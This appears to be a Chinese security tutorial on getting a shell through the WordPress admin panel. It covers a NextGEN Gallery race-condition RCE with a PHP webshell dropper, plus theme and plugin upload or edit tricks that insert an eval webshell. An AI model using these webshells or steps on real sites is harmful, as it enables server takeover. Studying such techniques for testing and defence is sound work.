Wordpress后台Getshell
Nextgen-Gallery条件竞争getshell
插件历史版本地址:https://wordpress.org/plugins/nextgen-gallery/advanced/
这是今年7月份左右公布的条件竞争RCE,出现在热门图形管理插件nextgen-gallery上,3.2.2以前版本通用(笔者测试适用范围下限应该是2.0.0,即影响范围2.0.0-3.2.2),最新版本3.2.18(截至笔者发稿)。
<?php
file_put_contents('../../a.php', '<?php @eval($_REQUEST["a"]);?>');
?>
将木马和图片(>800张)压缩在一块:

使用nextgen-gallery上传:

查看当前生成的临时目录:

得到我们的create.php路径:
http://127.0.0.1/wordpress4912/wp-content/uploads/unpacked-php12A.tmp/payload/create.php
访问使其执行,,将会生成如下文件:

接下来,你明白我的意思吧:

参考链接:https://medium.com/websec/wordpress-nextgen-gallery-race-condition-to-rce-d64695ef3d5c
到这里了,侧面再确认下,如果我们没有造成条件竞争会如何?
界面回复图像获取失败,临时文件不会保留,当然这也完全符合正常的开发逻辑。

补充
Wordpress后台上传Getshell的常规方法其实已经公开多年了,在此顺便简单回顾下:简单归纳就是Wordpress的插件和主题功能均支持上传或在线编辑功能造成了getshell。
上传Getshell

上传一个压缩了木马的zip,或者在官方主题中加入木马重新打包然后上传稍隐蔽些。

木马文件出现在如下位置:
http://127.0.0.1/wordpress321/wp-content/themes/zhuti/zhuti.php

同理插件功能:

木马文件出现在如下位置:
http://127.0.0.1/wordpress321/wp-content/plugins/chajian/chajian.php
编辑Getshell
打开任意想要更改的主题组件:

在php标签内插入木马:
@eval($_POST[a]);
提交更改,如下成功:

在这里查看当前选择主题,当前选择的编辑文件:

从而得到我们的木马路径:
http://127.0.0.1/wordpress321/wp-content/themes/twentyeleven/404.php

同理插件编辑

http://127.0.0.1/wordpress321/wp-content/plugins/akismet/akismet.php